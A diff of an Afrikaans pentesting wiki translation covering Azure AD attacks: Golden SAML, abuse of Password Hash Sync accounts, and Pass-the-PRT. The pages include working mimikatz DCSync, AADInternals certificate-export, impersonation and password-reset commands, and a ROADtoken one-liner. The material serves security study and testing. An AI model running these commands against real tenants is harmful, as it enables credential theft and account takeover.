[**https://www.youtube.com/watch?v=JEIR5oGCwdg**](https://www.youtube.com/watch?v=JEIR5oGCwdg) en [**https://www.youtube.com/watch?v=xei8lAPitX8**](https://www.youtube.com/watch?v=xei8lAPitX8) -Die blogpos bespreek 'n voorregverhoging kwesbaarheid in Azure AD, wat Toepassing Administrateurs of gecompromitteerde On-Premise Sync Rekeninge in staat stel om voorregte te verhoog deur kredensiale aan toepassings toe te ken. Die kwesbaarheid, wat voortkom uit die "per ontwerp" gedrag van Azure AD se hantering van toepassings en diens prinsipale, beïnvloed veral standaard Office 365 toepassings. Alhoewel gerapporteer, word die probleem nie as 'n kwesbaarheid deur Microsoft beskou nie weens dokumentasie van die administratiewe regte toekenning gedrag. Die pos bied gedetailleerde tegniese insigte en adviseer gereelde hersienings van diens prinsipaal kredensiale in Azure AD omgewings. Vir meer gedetailleerde inligting, kan jy die oorspronklike blogpos besoek. +Die blogpos bespreek 'n voorregverhoging kwesbaarheid in Azure AD, wat Toepassing Administrateurs of gecompromitteerde On-Premise Sink Rekeninge in staat stel om voorregte te verhoog deur krediete aan toepassings toe te ken. Die kwesbaarheid, wat voortkom uit die "per ontwerp" gedrag van Azure AD se hantering van toepassings en diens prinsipale, beïnvloed veral standaard Office 365 toepassings. Alhoewel gerapporteer, word die probleem nie as 'n kwesbaarheid deur Microsoft beskou nie weens dokumentasie van die administratiewe regte toekenning gedrag. Die pos bied gedetailleerde tegniese insigte en adviseer gereelde hersienings van diens prinsipaal krediete in Azure AD omgewings. Vir meer gedetailleerde inligting, kan jy die oorspronklike blogpos besoek. {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md index 04024a014..b02c73637 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md @@ -4,7 +4,7 @@ ## Sinchronisering van AzureAD gebruikers na on-prem om op te skaal van on-prem na AzureAD -Om 'n nuwe gebruiker f**van AzureAD na die on-prem AD** te sinchroniseer, is die volgende vereistes: +Om 'n nuwe gebruiker f**van AzureAD na die on-prem AD** te sinchroniseer, is die vereistes: - Die **AzureAD gebruiker** moet 'n proxy adres hê (n **posbus**) - Lisensie is nie vereis nie diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md index 7a9763f31..f7a887612 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md @@ -4,15 +4,15 @@ ## Basiese Inligting -[Uit die dokumentasie:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-fed)**Federasie** is 'n versameling van **domeine** wat **vertroue** gevestig het. Die vlak van vertroue kan verskil, maar sluit tipies **verifikasie** in en sluit byna altyd **autorisasie** in. 'n Tipiese federasie kan 'n **aantal organisasies** insluit wat **vertroue** gevestig het vir **gedeelde toegang** tot 'n stel hulpbronne. +[Van die dokumentasie:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-fed)**Federasie** is 'n versameling van **domeine** wat **vertroue** gevestig het. Die vlak van vertroue kan verskil, maar sluit tipies **verifikasie** in en sluit byna altyd **autorisering** in. 'n Tipiese federasie kan 'n **aantal organisasies** insluit wat **vertroue** gevestig het vir **gedeelde toegang** tot 'n stel hulpbronne. -Jy kan jou **on-premises** omgewing **met Azure AD** federate en hierdie federasie gebruik vir verifikasie en autorisasie. Hierdie aanmeldmetode verseker dat alle gebruiker **verifikasie plaasvind op-premises**. Hierdie metode stel administrateurs in staat om meer streng vlakke van toegangbeheer te implementeer. Federasie met **AD FS** en PingFederate is beskikbaar. +Jy kan jou **on-premises** omgewing **met Azure AD** federasie en hierdie federasie gebruik vir verifikasie en autorisering. Hierdie aanmeldmetode verseker dat alle gebruiker **verifikasie plaasvind op-premises**. Hierdie metode stel administrateurs in staat om meer streng vlakke van toegangbeheer te implementeer. Federasie met **AD FS** en PingFederate is beskikbaar.
Basies, in Federasie, vind alle **verifikasie** plaas in die **on-prem** omgewing en die gebruiker ervaar SSO oor al die vertroude omgewings. Daarom kan gebruikers **toegang** tot **cloud** toepassings verkry deur hul **on-prem kredensiale** te gebruik. -**Security Assertion Markup Language (SAML)** word gebruik vir **uitruiling** van alle verifikasie en autorisasie **inligting** tussen die verskaffers. +**Security Assertion Markup Language (SAML)** word gebruik vir **uitruiling** van alle verifikasie en autorisering **inligting** tussen die verskaffers. In enige federasie-opstelling is daar drie partye: @@ -20,14 +20,14 @@ In enige federasie-opstelling is daar drie partye: - Identiteitsverskaffer (IdP) - Diensverskaffer (SP) -(Bilde van https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps) +(Beelde van https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps)
-1. Aanvanklik word 'n toepassing (Diensverskaffer of SP, soos AWS-konsol of vSphere-webkliënt) deur 'n gebruiker toegang verkry. Hierdie stap kan oorgeslaan word, wat die kliënt direk na die IdP (Identiteitsverskaffer) lei, afhangende van die spesifieke implementering. +1. Aanvanklik word 'n toepassing (Diensverskaffer of SP, soos AWS-konsol of vSphere-webkliënt) deur 'n gebruiker benader. Hierdie stap kan oorgeslaan word, wat die kliënt direk na die IdP (Identiteitsverskaffer) lei, afhangende van die spesifieke implementering. 2. Vervolgens identifiseer die SP die toepaslike IdP (bv. AD FS, Okta) vir gebruiker verifikasie. Dit stel dan 'n SAML (Security Assertion Markup Language) AuthnRequest op en herlei die kliënt na die gekose IdP. -3. Die IdP neem oor, wat die gebruiker verifieer. Na verifikasie word 'n SAMLResponse deur die IdP geformuleer en aan die SP deur die gebruiker gestuur. -4. Laastens evalueer die SP die SAMLResponse. As dit suksesvol geverifieer word, wat 'n vertrouensverhouding met die IdP impliseer, word die gebruiker toegang verleen. Dit merk die voltooiing van die aanmeldproses, wat die gebruiker in staat stel om die diens te gebruik. +3. Die IdP neem oor, verifieer die gebruiker. Na verifikasie word 'n SAMLResponse deur die IdP geformuleer en aan die SP deur die gebruiker gestuur. +4. Laastens evalueer die SP die SAMLResponse. As dit suksesvol geverifieer word, wat 'n vertrouensverhouding met die IdP impliseer, word die gebruiker toegang gegee. Dit merk die voltooiing van die aanmeldproses, wat die gebruiker in staat stel om die diens te gebruik. **As jy meer wil leer oor SAML-verifikasie en algemene aanvalle, gaan na:** @@ -38,16 +38,16 @@ https://book.hacktricks.xyz/pentesting-web/saml-attacks ## Pivoting - AD FS is 'n eise-gebaseerde identiteitsmodel. -- "..eise is eenvoudig stellings (byvoorbeeld, naam, identiteit, groep), gemaak oor gebruikers, wat hoofsaaklik gebruik word om toegang tot eise-gebaseerde toepassings wat oral op die Internet geleë is, te autoriseer." +- "..eise is eenvoudig stellings (byvoorbeeld, naam, identiteit, groep), gemaak oor gebruikers, wat hoofsaaklik gebruik word om toegang tot eise-gebaseerde toepassings wat enige plek op die Internet geleë is, te autoriseer." - Eise vir 'n gebruiker word binne die SAML tokens geskryf en word dan onderteken om vertroulikheid deur die IdP te bied. - 'n Gebruiker word geïdentifiseer deur ImmutableID. Dit is wêreldwyd uniek en word in Azure AD gestoor. -- Die ImmutableID word op-premises as ms-DS-ConsistencyGuid vir die gebruiker gestoor en/of kan afgelei word van die GUID van die gebruiker. +- Die ImmutableID word op-premises gestoor as ms-DS-ConsistencyGuid vir die gebruiker en/of kan afgelei word van die GUID van die gebruiker. - Meer inligting in [https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims](https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims) **Goue SAML-aanval:** -- In ADFS, word die SAML Response deur 'n token-ondertekeningssertifikaat onderteken. -- As die sertifikaat gecompromitteer is, is dit moontlik om as ENIGE gebruiker wat met Azure AD gesinkroniseer is, na die Azure AD te verifieer! +- In ADFS, word SAML Response deur 'n token-ondertekeningssertifikaat onderteken. +- As die sertifikaat gecompromitteer is, is dit moontlik om as ENIGE gebruiker wat met Azure AD gesinkroniseer is, te verifieer! - Net soos ons PTA misbruik, sal 'n wagwoordverandering vir 'n gebruiker of MFA geen effek hê nie omdat ons die verifikasieantwoord vervals. - Die sertifikaat kan van die AD FS-bediener met DA voorregte onttrek word en kan dan vanaf enige internet-verbonden masjien gebruik word. - Meer inligting in [https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps](https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps) @@ -56,20 +56,20 @@ https://book.hacktricks.xyz/pentesting-web/saml-attacks Die proses waar 'n **Identiteitsverskaffer (IdP)** 'n **SAMLResponse** produseer om gebruiker aanmelding te autoriseer, is van kardinale belang. Afhangende van die spesifieke implementering van die IdP, kan die **antwoord** **onderteken** of **geënkripteer** word met die **IdP se privaat sleutel**. Hierdie prosedure stel die **Diensverskaffer (SP)** in staat om die egtheid van die SAMLResponse te bevestig, wat verseker dat dit werklik deur 'n vertroude IdP uitgereik is. -'n Parallel kan getrek word met die [goue kaart-aanval](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/golden-ticket), waar die sleutel wat die gebruiker se identiteit en regte verifieer (KRBTGT vir goue kaarte, token-ondertekenings privaat sleutel vir goue SAML) gemanipuleer kan word om 'n **verifikasie objek** (TGT of SAMLResponse) te vervals. Dit stel in staat om enige gebruiker na te boots, wat ongeoorloofde toegang tot die SP verleen. +'n Parallel kan getrek word met die [goue kaart-aanval](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/golden-ticket), waar die sleutel wat die gebruiker se identiteit en regte verifieer (KRBTGT vir goue kaarte, token-ondertekenings privaat sleutel vir goue SAML) gemanipuleer kan word om 'n **verifikasie objek** (TGT of SAMLResponse) te vervals. Dit stel in staat om enige gebruiker na te volg, wat ongeautoriseerde toegang tot die SP bied. Goue SAMLs bied sekere voordele: - Hulle kan **afgeleë geskep** word, sonder die behoefte om deel te wees van die domein of federasie in kwestie. - Hulle bly effektief selfs met **Twee-Faktor Verifikasie (2FA)** geaktiveer. - Die token-ondertekenings **privaat sleutel hernu nie outomaties** nie. -- **Die verandering van 'n gebruiker se wagwoord maak nie 'n reeds gegenereerde SAML ongeldig nie.** +- **Verandering van 'n gebruiker se wagwoord maak nie 'n reeds gegenereerde SAML ongeldig** nie. #### AWS + AD FS + Goue SAML [Active Directory Federation Services (AD FS)]() is 'n Microsoft diens wat die **veilige uitruiling van identiteitsinligting** tussen vertroude besigheidsvennote (federasie) fasiliteer. Dit stel in wese 'n domeindiens in staat om gebruikersidentiteite met ander diensverskaffers binne 'n federasie te deel. -Met AWS wat die gecompromitteerde domein vertrou (in 'n federasie), kan hierdie kwesbaarheid benut word om potensieel **enige regte in die AWS-omgewing te verkry**. Die aanval vereis die **privaat sleutel wat gebruik word om die SAML-objekte te onderteken**, soortgelyk aan die behoefte aan die KRBTGT in 'n goue kaart aanval. Toegang tot die AD FS-gebruikerrekening is voldoende om hierdie privaat sleutel te verkry. +Met AWS wat die gecompromitteerde domein vertrou (in 'n federasie), kan hierdie kwesbaarheid benut word om potensieel **enige regte in die AWS-omgewing te verkry**. Die aanval vereis die **privaat sleutel wat gebruik word om die SAML-objekte te onderteken**, soortgelyk aan die behoefte aan die KRBTGT in 'n goue kaart-aanval. Toegang tot die AD FS-gebruikerrekening is voldoende om hierdie privaat sleutel te verkry. Die vereistes om 'n goue SAML-aanval uit te voer sluit in: @@ -83,7 +83,7 @@ Die vereistes om 'n goue SAML-aanval uit te voer sluit in: _Slegs die items in vetdruk is verpligtend. Die ander kan na wens ingevul word._ -Om die **privaat sleutel** te verkry, is toegang tot die **AD FS-gebruikerrekening** nodig. Van daar kan die privaat sleutel **uit die persoonlike winkel onttrek** word met behulp van gereedskap soos [mimikatz](https://github.com/gentilkiwi/mimikatz). Om die ander vereiste inligting te versamel, kan jy die Microsoft.Adfs.Powershell snapin soos volg gebruik, en verseker dat jy as die ADFS-gebruiker aangemeld is: +Om die **privaat sleutel** te verkry, is toegang tot die **AD FS-gebruikerrekening** nodig. Van daar af kan die privaat sleutel **uit die persoonlike winkel onttrek** word met behulp van gereedskap soos [mimikatz](https://github.com/gentilkiwi/mimikatz). Om die ander vereiste inligting te versamel, kan jy die Microsoft.Adfs.Powershell snapin soos volg gebruik, en verseker dat jy as die ADFS-gebruiker aangemeld is: ```powershell # From an "AD FS" session # After having exported the key with mimikatz @@ -133,7 +133,7 @@ Export-AADIntADFSSigningCertificate # Impersonate a user to to access cloud apps Open-AADIntOffice365Portal -ImmutableID v1pOC7Pz8kaT6JWtThJKRQ== -Issuer http://deffin.com/adfs/services/trust -PfxFileName C:\users\adfsadmin\Documents\ADFSSigningCertificate.pfx -Verbose ``` -Dit is ook moontlik om ImmutableID van slegs wolk gebruikers te skep en hulle na te boots. +Dit is ook moontlik om ImmutableID van slegs wolk gebruikers te skep en hulle na te doen. ```powershell # Create a realistic ImmutableID and set it for a cloud only user [System.Convert]::ToBase64String((New-Guid).tobytearray()) diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md index eeeaee8c4..e497e53f9 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md @@ -1,32 +1,32 @@ -# Az - PHS - Password Hash Sync +# Az - PHS - Wagtog Hash Sinkronisasie {{#include ../../../../banners/hacktricks-training.md}} -## Basic Information +## Basiese Inligting -[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-phs) **Wagwoord-hash-sinkronisering** is een van die aanmeldmetodes wat gebruik word om hibriede identiteit te bereik. **Azure AD Connect** sinkroniseer 'n hash, van die hash, van 'n gebruiker se wagwoord van 'n plaaslike Active Directory-instansie na 'n wolk-gebaseerde Azure AD-instansie. +[Uit die dokumentasie:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-phs) **Wagtog hash sinkronisasie** is een van die aanmeldmetodes wat gebruik word om hibriede identiteit te bereik. **Azure AD Connect** sinkroniseer 'n hash, van die hash, van 'n gebruiker se wagwoord van 'n plaaslike Active Directory-instansie na 'n wolk-gebaseerde Azure AD-instansie.
Dit is die **meest algemene metode** wat deur maatskappye gebruik word om 'n plaaslike AD met Azure AD te sinkroniseer. -Alle **gebruikers** en 'n **hash van die wagwoord-hashes** word van die plaaslike na Azure AD gesinkroniseer. egter, **duidelike wagwoorde** of die **oorspronklike** **hashes** word nie na Azure AD gestuur nie.\ +Alle **gebruikers** en 'n **hash van die wagwoord hashes** word van die plaaslike AD na Azure AD gesinkroniseer. egter, **duidelike teks wagwoorde** of die **oorspronklike** **hashes** word nie na Azure AD gestuur nie.\ Boonop, **Ingeboude** sekuriteitsgroepe (soos domein admins...) word **nie gesinkroniseer** na Azure AD nie. -Die **hashes sinkronisering** vind elke **2 minute** plaas. egter, standaard, **wagwoord vervaldatum** en **rekening** **verval** word **nie gesinkroniseer** in Azure AD nie. So, 'n gebruiker wie se **plaaslike wagwoord verval** (nie verander nie) kan voortgaan om **toegang tot Azure hulpbronne** te verkry met die ou wagwoord. +Die **hashes sinkronisasie** vind elke **2 minute** plaas. egter, standaard, **wagwoord vervaldatums** en **rekening** **vervaldatums** word **nie gesinkroniseer** in Azure AD nie. So, 'n gebruiker wie se **plaaslike wagwoord verval** (nie verander nie) kan voortgaan om **toegang tot Azure hulpbronne** te verkry met die ou wagwoord. -Wanneer 'n plaaslike gebruiker 'n Azure hulpbron wil benader, vind die **authentisering plaas op Azure AD**. +Wanneer 'n plaaslike gebruiker 'n Azure hulpbron wil benader, vind die **verifikasie plaas op Azure AD**. -**PHS** is vereis vir funksies soos **Identiteitsbeskerming** en AAD Domeindienste. +**PHS** is vereis vir funksies soos **Identiteit Beskerming** en AAD Domein Dienste. -## Pivoting +## Pivotering Wanneer PHS geconfigureer is, word sommige **bevoorregte rekeninge** outomaties **gecreëer**: -- Die rekening **`MSOL_`** word outomaties in plaaslike AD geskep. Hierdie rekening ontvang 'n **Directory Synchronization Accounts** rol (sien [dokumentasie](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)) wat beteken dat dit **replicatie (DCSync) toestemmings in die plaaslike AD** het. +- Die rekening **`MSOL_`** word outomaties in plaaslike AD geskep. Hierdie rekening ontvang 'n **Directory Synchronization Accounts** rol (sien [dokumentasie](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)) wat beteken dat dit **replicasie (DCSync) toestemmings in die plaaslike AD** het. - 'n rekening **`Sync__installationID`** word in Azure AD geskep. Hierdie rekening kan **die wagwoord van ENIGE gebruiker** (gesinkroniseer of slegs wolk) in Azure AD **herstel**. -Wagwoorde van die twee vorige bevoorregte rekeninge word **in 'n SQL-server gestoor** op die bediener waar **Azure AD Connect geïnstalleer is.** Administrateurs kan die wagwoorde van daardie bevoorregte gebruikers in duidelike teks onttrek.\ +Wagwoorde van die twee vorige bevoorregte rekeninge word **in 'n SQL bediener gestoor** op die bediener waar **Azure AD Connect geïnstalleer is.** Administrateurs kan die wagwoorde van daardie bevoorregte gebruikers in duidelike teks onttrek.\ Die databasis is geleë in `C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf`. Dit is moontlik om die konfigurasie van een van die tabelle te onttrek, wat een versleuteld is: @@ -37,7 +37,7 @@ Die **versleutelde konfigurasie** is versleuteld met **DPAPI** en dit bevat die Jy kan 'n [volledige oorsig van hoe hierdie akrediteer bespaar en ontsleutel in hierdie praatjie vind](https://www.youtube.com/watch?v=JEIR5oGCwdg). -### Finding the **Azure AD connect server** +### Vind die **Azure AD connect bediener** As die **bediener waar Azure AD connect geïnstalleer is** domein-verbonden is (aanbeveel in die dokumentasie), is dit moontlik om dit te vind met: ```powershell @@ -47,7 +47,7 @@ Get-ADUser -Filter "samAccountName -like 'MSOL_*'" - Properties * | select SamAc #Azure AD module Get-AzureADUser -All $true | ?{$_.userPrincipalName -match "Sync_"} ``` -### Misbruik van MSOL\_\* +### Misbruik van MSOL\_* ```powershell # Once the Azure AD connect server is compromised you can extract credentials with the AADInternals module Get-AADIntSyncCredentials @@ -57,7 +57,7 @@ runas /netonly /user:defeng.corp\MSOL_123123123123 cmd Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.local /dc:dc.domain.local"' ``` > [!CAUTION] -> Jy kan ook [**adconnectdump**](https://github.com/dirkjanm/adconnectdump) gebruik om hierdie akrediteer te verkry. +> Jy kan ook [**adconnectdump**](https://github.com/dirkjanm/adconnectdump) gebruik om hierdie geloofsbriewe te verkry. ### Misbruik van Sync\_\* @@ -91,7 +91,7 @@ Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,Obj # Reset password Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37" -Password "JustAPass12343.%" -Verbosewers ``` -It's ook moontlik om die wagwoord van hierdie gebruiker te dump. +Dit is ook moontlik om die wagwoord van hierdie gebruiker te dump. > [!CAUTION] > 'n Ander opsie sou wees om **bevoorregte toestemmings aan 'n dienshoof** toe te ken, wat die **Sync** gebruiker **toestemmings** het om te doen, en dan **daardie dienshoof** te benader as 'n manier van privesc. @@ -104,7 +104,7 @@ Dit is moontlik om Seamless SSO met PHS te gebruik, wat kwesbaar is vir ander mi seamless-sso.md {{#endref}} -## References +## Verwysings - [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-phs](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-phs) - [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/) diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md index 54ecfe399..9fec64044 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md @@ -34,13 +34,13 @@ Die PRT-koekie word eintlik **`x-ms-RefreshTokenCredential`** genoem en dit is ' "request_nonce": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAPrlbf_TrEVJRMW2Cr7cJvYKDh2XsByis2eCF9iBHNqJJVzYR_boX8VfBpZpeIV078IE4QY0pIBtCcr90eyah5yAA" } ``` -Die werklike **Primary Refresh Token (PRT)** is ingekapsuleer binne die **`refresh_token`**, wat geënkripteer is deur 'n sleutel onder die beheer van Azure AD, wat sy inhoud ondoorgrondelik en ondekripteerbaar vir ons maak. Die veld **`is_primary`** dui die inkapseling van die primêre verfrissingsleutel binne hierdie token aan. Om te verseker dat die koekie gebind bly aan die spesifieke aanmeldsessie waarvoor dit bedoel was, word die `request_nonce` van die `logon.microsoftonline.com` bladsy oorgedra. +Die werklike **Primary Refresh Token (PRT)** is ingekapsuleer binne die **`refresh_token`**, wat geënkripteer is deur 'n sleutel onder die beheer van Azure AD, wat sy inhoud ondoorgrondelik en onontcijferbaar vir ons maak. Die veld **`is_primary`** dui die inkapseling van die primêre verfrissings-token binne hierdie token aan. Om te verseker dat die koekie gebind bly aan die spesifieke aanmeldsessie waarvoor dit bedoel was, word die `request_nonce` van die `logon.microsoftonline.com` bladsy oorgedra. ### PRT Koekie vloei met behulp van TPM Die **LSASS** proses sal die **KDF konteks** na die TPM stuur, en die TPM sal die **sessiesleutel** (versamel toe die toestel in AzureAD geregistreer is en in die TPM gestoor is) en die vorige konteks gebruik om 'n **sleutel** te **deriveer**, en hierdie **afgeleide sleutel** word gebruik om die **PRT koekie (JWT)** te **onderteken**. -Die **KDF konteks is** 'n nonce van AzureAD en die PRT wat 'n **JWT** meng met 'n **konteks** (willekeurige bytes). +Die **KDF konteks is** 'n nonce van AzureAD en die PRT wat 'n **JWT** gemeng met 'n **konteks** (willekeurige bytes) skep. Daarom, selfs al kan die PRT nie onttrek word nie omdat dit binne die TPM geleë is, is dit moontlik om LSASS te misbruik om **afgeleide sleutels van nuwe kontekste aan te vra en die gegenereerde sleutels te gebruik om Koekies te onderteken**. @@ -51,13 +51,13 @@ Daarom, selfs al kan die PRT nie onttrek word nie omdat dit binne die TPM geleë As 'n **regte gebruiker** is dit moontlik om **PRT gebruik aan te vra** deur LSASS vir SSO-data te vra.\ Dit kan gedoen word soos **natuurlike toepassings** wat tokens van **Web Account Manager** (token broker) aan vra. WAM stuur die versoek na **LSASS**, wat vir tokens vra met 'n ondertekende PRT-assertie. Of dit kan gedoen word met **blaaier-gebaseerde (web) vloei** waar 'n **PRT koekie** as **kop** gebruik word om versoeke na Azure AS aanmeldbladsye te verifieer. -As **SISTEEM** kan jy die **PRT steel as dit nie deur TPM beskerm word nie** of **interaksie hê met PRT sleutels in LSASS** met behulp van crypto APIs. +As **SISTEEM** kan jy die **PRT steel as dit nie deur TPM beskerm word nie** of **interaksie hê met PRT sleutels in LSASS** met behulp van kripto API's. ## Pass-the-PRT Aanval Voorbeelde ### Aanval - ROADtoken -Vir meer inligting oor hierdie manier [**kyk hierdie pos**](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/). ROADtoken sal **`BrowserCore.exe`** van die regte gids uitvoer en dit gebruik om 'n **PRT koekie** te **verkry**. Hierdie koekie kan dan met ROADtools gebruik word om te verifieer en 'n **volhoubare verfrissingsleutel** te **verkry**. +Vir meer inligting oor hierdie manier [**kyk hierdie pos**](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/). ROADtoken sal **`BrowserCore.exe`** vanuit die regte gids uitvoer en dit gebruik om 'n **PRT koekie** te **verkry**. Hierdie koekie kan dan met ROADtools gebruik word om te verifieer en 'n **volhoubare verfrissings-token** te **verkry**. Om 'n geldige PRT koekie te genereer, is die eerste ding wat jy nodig het 'n nonce.\ Jy kan dit kry met: @@ -80,11 +80,11 @@ Of deur [**roadrecon**](https://github.com/dirkjanm/ROADtools): ```powershell roadrecon auth prt-init ``` -Dan kan jy [**roadtoken**](https://github.com/dirkjanm/ROADtoken) gebruik om 'n nuwe PRT te verkry (voer die hulpmiddel uit vanaf 'n proses van die gebruiker om aan te val): +Dan kan jy [**roadtoken**](https://github.com/dirkjanm/ROADtoken) gebruik om 'n nuwe PRT te kry (hardloop in die hulpmiddel vanaf 'n proses van die gebruiker om aan te val): ```powershell .\ROADtoken.exe ``` -As oneliner: +As 'n eenlyn: ```powershell Invoke-Command - Session $ps_sess -ScriptBlock{C:\Users\Public\PsExec64.exe - accepteula -s "cmd.exe" " /c C:\Users\Public\SessionExecCommand.exe UserToImpersonate C:\Users\Public\ROADToken.exe AwABAAAAAAACAOz_BAD0__kdshsy61GF75SGhs_[...] > C:\Users\Public\PRT.txt"} ``` @@ -100,7 +100,7 @@ Connect-AzureAD --AadAccessToken --AccountId ### Aanval - Gebruik AADInternals en 'n gelekte PRT -`Get-AADIntUserPRTToken` **kry die gebruiker se PRT-token** van die Azure AD-verbonden of Hibrid-verbonden rekenaar. Gebruik `BrowserCore.exe` om die PRT-token te kry. +`Get-AADIntUserPRTToken` **kry die gebruiker se PRT-token** van die Azure AD-verbonden of Hybride verbonden rekenaar. Gebruik `BrowserCore.exe` om die PRT-token te kry. ```powershell # Get the PRToken $prtToken = Get-AADIntUserPRTToken @@ -136,36 +136,36 @@ $AT = Get-AADIntAccessTokenForAzureCoreManagement -PRTToken $prtToken # Verify access and connect with Az. You can see account id in mimikatz prt output Connect-AzAccount -AccessToken $AT -TenantID -AccountId ``` -Gaan na [https://login.microsoftonline.com](https://login.microsoftonline.com), verwyder alle koekies vir login.microsoftonline.com en voer 'n nuwe koekie in. +Gaan na [https://login.microsoftonline.com](https://login.microsoftonline.com), maak alle koekies vir login.microsoftonline.com skoon en voer 'n nuwe koekie in. ``` Name: x-ms-RefreshTokenCredential Value: [Paste your output from above] Path: / HttpOnly: Set to True (checked) ``` -Then go to [https://portal.azure.com](https://portal.azure.com) +Gaan dan na [https://portal.azure.com](https://portal.azure.com) > [!CAUTION] -> Die res moet die verstekinstellings wees. Maak seker jy kan die bladsy verfris en die koekie verdwyn nie, as dit wel gebeur, het jy dalk 'n fout gemaak en moet die proses weer deurgaan. As dit nie gebeur nie, behoort jy reg te wees. +> Die res behoort die verstekinstellings te wees. Maak seker jy kan die bladsy verfris en die koekie verdwyn nie, as dit wel gebeur, het jy dalk 'n fout gemaak en moet jy die proses weer deurgaan. As dit nie gebeur nie, behoort jy reg te wees. -### Attack - Mimikatz +### Aanval - Mimikatz -#### Steps +#### Stappe -1. Die **PRT (Primêre Vernuwings Teken) word uit LSASS** (Plaaslike Sekuriteitsowerheid Subsystemdiens) onttrek en gestoor vir latere gebruik. -2. Die **Sessie Sleutel word volgende onttrek**. Aangesien hierdie sleutel aanvanklik uitgereik word en dan weer deur die plaaslike toestel her-enkripteer word, vereis dit ontsleuteling met 'n DPAPI meester sleutel. Gedetailleerde inligting oor DPAPI (Data Protection API) kan in hierdie hulpbronne gevind word: [HackTricks](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords) en vir 'n begrip van die toepassing daarvan, verwys na [Pass-the-cookie attack](az-pass-the-cookie.md). +1. Die **PRT (Primêre Verfrisings Teken) word uit LSASS** (Plaaslike Sekuriteitsowerheid Substelseldiens) onttrek en gestoor vir latere gebruik. +2. Die **Sessie Sleutel word volgende onttrek**. Aangesien hierdie sleutel aanvanklik uitgereik word en dan weer deur die plaaslike toestel her-enkripteer word, vereis dit ontsleuteling met 'n DPAPI meester sleutel. Gedetailleerde inligting oor DPAPI (Data Protection API) kan in hierdie hulpbronne gevind word: [HackTricks](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords) en vir 'n begrip van die toepassing daarvan, verwys na [Pass-the-cookie aanval](az-pass-the-cookie.md). 3. Na ontsleuteling van die Sessie Sleutel, word die **afgeleide sleutel en konteks vir die PRT verkry**. Hierdie is noodsaaklik vir die **skepping van die PRT koekie**. Spesifiek, die afgeleide sleutel word gebruik om die JWT (JSON Web Token) wat die koekie vorm, te teken. 'n Omvattende verduideliking van hierdie proses is deur Dirk-jan verskaf, beskikbaar [hier](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/). > [!CAUTION] > Let daarop dat as die PRT binne die TPM is en nie binne `lsass` nie, **sal mimikatz nie in staat wees om dit te onttrek nie**.\ -> Dit sal egter moontlik wees om 'n **sleutel van 'n afgeleide sleutel uit 'n konteks** van die TPM te kry en dit te gebruik om 'n **koekie te teken (kyk opsie 3).** +> 